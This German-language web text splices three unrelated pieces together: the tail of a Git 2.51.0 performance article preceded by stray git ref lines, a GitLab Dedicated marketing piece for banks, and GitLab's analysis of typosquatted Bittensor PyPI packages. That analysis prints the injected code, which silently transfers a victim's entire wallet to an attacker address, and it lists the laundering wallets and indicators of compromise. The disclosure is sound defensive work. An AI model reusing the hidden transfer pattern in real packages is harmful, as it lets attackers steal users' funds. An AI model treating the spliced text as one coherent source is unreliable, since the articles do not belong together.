9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020

Dieses Projekt wurde von Karthik Nayak geleitet.

Fazit

Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten. Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.

Bereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.

Für GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.

Erfahren Sie mehr in den offiziellen Git 2.51.0 Release Notes und erkunden Sie unser komplettes Archiv der Git-Entwicklungsberichterstattung.

Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den englischen Originalartikel.

Die Software, welche die heutige Finanzwelt antreibt, ist hoch komplex. Sie umfasst Kreditrisikomodelle, die Milliarden an Vermögenswerten schützen, Zahlungsverarbeitungsalgorithmen, die Millionen von Transaktionen abwickeln, Customer-Intelligence-Plattformen, die die Geschäftsstrategie vorantreiben, und Regulierungssysteme, die operative Compliance sicherstellen – alles angetrieben von Quellcode, der sowohl operativer Kern als auch strategisches Asset ist.

Wenn geteilte Infrastruktur zum systemischen Risiko wird

Der Aufstieg von Software-as-a-Service-Plattformen hat für Finanzinstitute eine unbequeme Realität geschaffen. Jeder geteilte Mandant wird zu einem nicht verwalteten Drittparteirisiko und verwandelt plattformweite Vorfälle in branchenweite Störungen. Dies ist genau die Art von Konzentrationsrisiko, welches zunehmend die Aufmerksamkeit der Regulierungsbehörden auf sich zieht.

Patrick Opet, Chief Information Security Officer von JPMorgan Chase, richtete kürzlich in einem offenen Brief an Drittanbieter eine deutliche Warnung an die Branche. Er hob hervor, wie die SaaS-Adoption „eine erhebliche Verwundbarkeit schafft, die das globale Wirtschaftssystem schwächt", indem sie „Konzentrationsrisiko in die globale kritische Infrastruktur einbettet". Der Brief betont, dass sich „ein Angriff auf einen großen SaaS- oder PaaS-Anbieter sofort auf dessen Kunden auswirken kann" und genau das systemische Risiko schafft, das Multi-Tenant-Cloud-Plattformen für Quellcode-Management, CI-Builds, CD-Deployments und Sicherheitsscans einführen.

Bedenke die regulatorische Komplexität, die dies schafft. In gemeinsamen Umgebungen wird deine Compliance-Position zur Geisel potenzieller Vorfälle, die andere Mandanten betreffen, sowie der Konzentrationsrisiken von Anbietern mit großer Angriffsfläche. Eine Fehlkonfiguration, die eine Organisation auf der Plattform betrifft, kann breitere Auswirkungen auf das gesamte Ökosystem auslösen.

Datensouveränitäts-Herausforderungen verstärken dieses Risiko. Gemeinsame Plattformen verteilen Workloads über mehrere Regionen und Rechtsräume, oft ohne granulare Kontrolle darüber, wo dein Quellcode ausgeführt wird. Für Institutionen, die unter strengen regulatorischen Anforderungen arbeiten, kann diese geografische Verteilung Compliance-Lücken schaffen, die schwer zu beheben sind.

Dann gibt es den Verstärkungseffekt. Jeder geteilte Mandant wird effektiv zu einem indirekten Drittparteirisiko für deine Operationen. Ihre Schwachstellen vergrößern deine Angriffsfläche. Ihre Vorfälle können deine Verfügbarkeit beeinträchtigen. Ihre Kompromittierungen können deine Umgebung beeinflussen.

Speziell entwickelt für das, was am wichtigsten ist

GitLab erkennt an, dass der Quellcode deiner Organisation dieselbe Sicherheitsstufe verdient wie deine sensibelsten Kundendaten. Anstatt dich zu zwingen, zwischen Cloud-Skalierungseffizienz und Enterprise-Grade-Sicherheit zu wählen, liefert GitLab beides durch GitLab Dedicated – speziell entwickelte Infrastruktur, die vollständige Isolation aufrechterhält.

Deine Entwicklungsworkflows, Quellcode-Repositories und CI/CD-Pipelines laufen in einer Umgebung, die ausschließlich deiner Organisation gewidmet ist. Die Hosted Runners für GitLab Dedicated veranschaulichen diesen Ansatz. Diese Runner verbinden sich sicher über ausgehende Private Links mit deinem Rechenzentrum und ermöglichen den Zugriff auf deine privaten Dienste, ohne Datenverkehr dem öffentlichen Internet auszusetzen. Die Auto-Scaling-Architektur bietet die benötigte Performance, ohne Sicherheit oder Kontrolle zu gefährden.

Kontrolle neu gedacht

Für Finanzinstitute ist die Minimierung geteilter Risiken nur ein Teil der Gleichung – wahre Resilienz erfordert präzise Kontrolle darüber, wie Systeme arbeiten, skalieren und regulatorische Frameworks einhalten. GitLab Dedicated ermöglicht umfassende Datensouveränität durch mehrere Ebenen der Kundenkontrolle. Sie behalten die vollständige Autorität über Verschlüsselungsschlüssel durch Bring-Your-Own-Key (BYOK)-Funktionen und stellen sicher, dass sensible Quellcodes und Konfigurationsdaten nur für deine Organisation zugänglich bleiben. Selbst GitLab kann ohne deine Schlüssel nicht auf deine verschlüsselten Daten zugreifen.

Datenresidenz wird zur bewussten Entscheidung. Du wählst deine bevorzugte AWS-Region, um regulatorische Anforderungen und organisatorische Daten-Governance-Richtlinien zu erfüllen, und behältst die volle Kontrolle darüber, wo dein sensibler Quellcode und geistiges Eigentum gespeichert werden.

Diese Kontrolle erstreckt sich auf Compliance-Frameworks, die Finanzinstitute benötigen. Die Plattform bietet umfassende Audit-Trails und Protokollierungsfunktionen, die Compliance-Bemühungen für Finanzdienstleistungsvorschriften wie Sarbanes-Oxley und GLBA Safeguards Rule unterstützen.

Wenn Compliance-Fragen auftreten, arbeitest du direkt mit GitLabs dediziertem Support-Team zusammen – erfahrene Fachleute, welche die regulatorischen Herausforderungen verstehen, denen Organisationen in hochregulierten Branchen gegenüberstehen.

Operative Exzellenz ohne operativen Overhead

GitLab Dedicated gewährleistet Hochverfügbarkeit mit integrierter Disaster Recovery, sodass deine Entwicklungsoperationen auch bei Infrastrukturausfällen resilient bleiben. Die dedizierten Ressourcen skalieren mit den Bedürfnissen deiner Organisation ohne die Performance-Variabilität, die gemeinsame Umgebungen einführen.

Der Zero-Maintenance-Ansatz für CI/CD-Infrastruktur eliminiert eine erhebliche operative Belastung. Deine Teams konzentrieren sich auf die Entwicklung, während GitLab die zugrunde liegende Infrastruktur, Auto-Scaling und Wartung verwaltet – einschließlich schneller Sicherheitspatches zum Schutz deines kritischen geistigen Eigentums vor aufkommenden Bedrohungen. Diese operative Effizienz geht nicht auf Kosten der Sicherheit: Die dedizierte Infrastruktur bietet Enterprise-Grade-Kontrollen und liefert gleichzeitig Cloud-Skalierungs-Performance.

Die Wettbewerbsrealität

Während einige Institutionen über Infrastrukturstrategien debattieren, ergreifen Branchenführer entscheidende Maßnahmen. NatWest Group, eine der größten Finanzinstitutionen Großbritanniens, wählte GitLab Dedicated zur Transformation ihrer Engineering-Fähigkeiten:

"Die NatWest Group setzt GitLab Dedicated ein, um unseren Ingenieuren die Nutzung einer gemeinsamen Cloud-Engineering-Plattform zu ermöglichen; neue Kundenergebnisse schnell, häufig und sicher mit hoher Qualität, automatisierten Tests, On-Demand-Infrastruktur und durchgängigem Deployment zu liefern. Dies wird die Zusammenarbeit erheblich verbessern, die Entwicklerproduktivität steigern und Kreativität durch eine 'Single-Pane-of-Glass' für die Softwareentwicklung freisetzen."

Adam Leggett, Platform Lead - Engineering Platforms, NatWest

Die strategische Entscheidung

Die erfolgreichsten Finanzinstitute stehen vor einer einzigartigen Herausforderung: Sie haben am meisten durch geteilte Infrastrukturrisiken zu verlieren, aber auch die Ressourcen, um bessere Lösungen zu entwickeln.

Die Frage, die wirkliche Branchenführer von anderen unterscheidet: Werden sie geteilte Infrastrukturrisiken als Preis der digitalen Transformation akzeptieren, oder in Infrastruktur investieren, welche den Quellcode mit der strategischen Bedeutung behandelt, die er verdient?

Deine Algorithmen werden nicht geteilt. Deine Risikomodelle werden nicht geteilt. Deine Kundendaten werden nicht geteilt.

Warum wird deine Entwicklungsplattform geteilt?

Bereit, deinen Quellcode wie das strategische Asset zu behandeln, das er ist? Sprich mit uns darüber, wie dir GitLab Dedicated die Sicherheit, Compliance und Performance bietet, die Finanzinstitute fordern – ohne die Kompromisse geteilter Infrastruktur.

Kryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem

durch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.

Die Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.

Geschäftsrelevanz: Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. 90% der Fortune-500-Unternehmen nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.

Die Angriffsmethode im Detail

Die identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:

• bitensor@9.9.4 (02:52 UTC)

• bittenso-cli@9.9.4 (02:59 UTC)

• qbittensor@9.9.4 (03:02 UTC)

• bitensor@9.9.5 (03:15 UTC)

• bittenso@9.9.5 (03:16 UTC)

Alle Pakete wurden entwickelt, um die legitimen bittensor- und bittensor-cli-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.

Technische Analyse: So funktioniert der Diebstahl

Die Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der stake_extrinsic-Funktion in bittensor_cli/src/commands/stake/add.py.

Wo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:

result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
  amount=amount,
  transfer_all=True,
  prompt=False
)

Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:

• Stille Ausführung: Verwendet prompt=False, um die Benutzerbestätigung zu umgehen

• Vollständige Wallet-Entleerung: Setzt transfer_all=True, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag

• Hartcodiertes Ziel: Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter

• Versteckt in Sichtweite: Wird während einer scheinbar normalen Staking-Operation ausgeführt

Das Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.

Besondere Relevanz für deutsche Unternehmen

Diese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.

Warum die Staking-Funktionalität ins Visier genommen wird

Die Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet Staking, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.

Dies macht Staking zu einem idealen Angriffsvektor:

1. Hochwertige Ziele: Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.

2. Erforderlicher Wallet-Zugriff: Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.

3. Erwartete Netzwerkaktivität: Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.

4. Routineoperationen: Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.

5. Verzögerte Entdeckung: Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.

Durch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.

Der Geldspur folgen

Das Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.

Das Geldwäsche-Netzwerk

Die Analyse offenbarte ein mehrstufiges Geldwäschesystem:

1. Primäre Sammlung: Gestohlene Gelder kommen zunächst bei 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR an

2. Verteilungsnetzwerk: Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:

   • 5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
   • 5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
   • 5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
   • 5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL

3. Finale Konsolidierung: Alle Pfade konvergieren schließlich bei 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu

4. Auszahlungsendpunkt: Das finale Ziel scheint 5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ zu sein

Die Typosquatting-Strategie

Die Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:

• Fehlende Zeichen: bitensor statt bittensor (fehlendes 't')

• Kürzung: bittenso statt bittensor (fehlendes finales 'r')

• Versions-Nachahmung: Alle Pakete verwendeten Versionsnummern (9.9.4, 9.9.5), die den legitimen Paketversionen sehr ähnlich sind

Dieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während pip install-Befehlen und Copy-Paste-Fehler aus Dokumentationen.

Die Zukunft der Supply-Chain-Sicherheit

GitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.

Die schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.

Kompromittierungsindikatoren

| IOC | Beschreibung |

| -------------------------------------------------- | ----------------------------------------------------------------- |

| pkg:pypi/bittenso@9.9.5 | Bösartiges PyPI-Paket |

| pkg:pypi/bitensor@9.9.5 | Bösartiges PyPI-Paket |

| pkg:pypi/bitensor@9.9.4 | Bösartiges PyPI-Paket |

| pkg:pypi/qbittensor@9.9.4 | Bösartiges PyPI-Paket |

| pkg:pypi/bittenso-cli@9.9.4 | Bösartiges PyPI-Paket |

| 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |

Zeitachse

| Datum & Uhrzeit | Aktion |

| -------------------- | --------------------------------------------------------------------------------------------- |

| 2025-08-06T06:33 | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |

| 2025-08-06T09:42 | bittenso@9.9.5 an PyPi.org gemeldet |

| 2025-08-06T09:46 | bitensor@9.9.5 an PyPi.org gemeldet |

| 2025-08-06T09:47 | bitensor@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T09:49 | qbittensor@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T09:51 | bittenso-cli@9.9.4 an PyPi.org gemeldet |

| 2025-08-06T15:26 | PyPi.org entfernte bittenso@9.9.5 |

| 2025-08-06T15:27 | PyPi.org entfernte bitensor@9.9.5 |

| 2025-08-06T15:27 | PyPi.org entfernte bitensor@9.9.4 |

| 2025-08-06T15:28 | PyPi.org entfernte qbittensor@9.9.4 |

| 2025-08-06T15:28 | PyPi.org entfernte bittenso-cli@9.9.4 |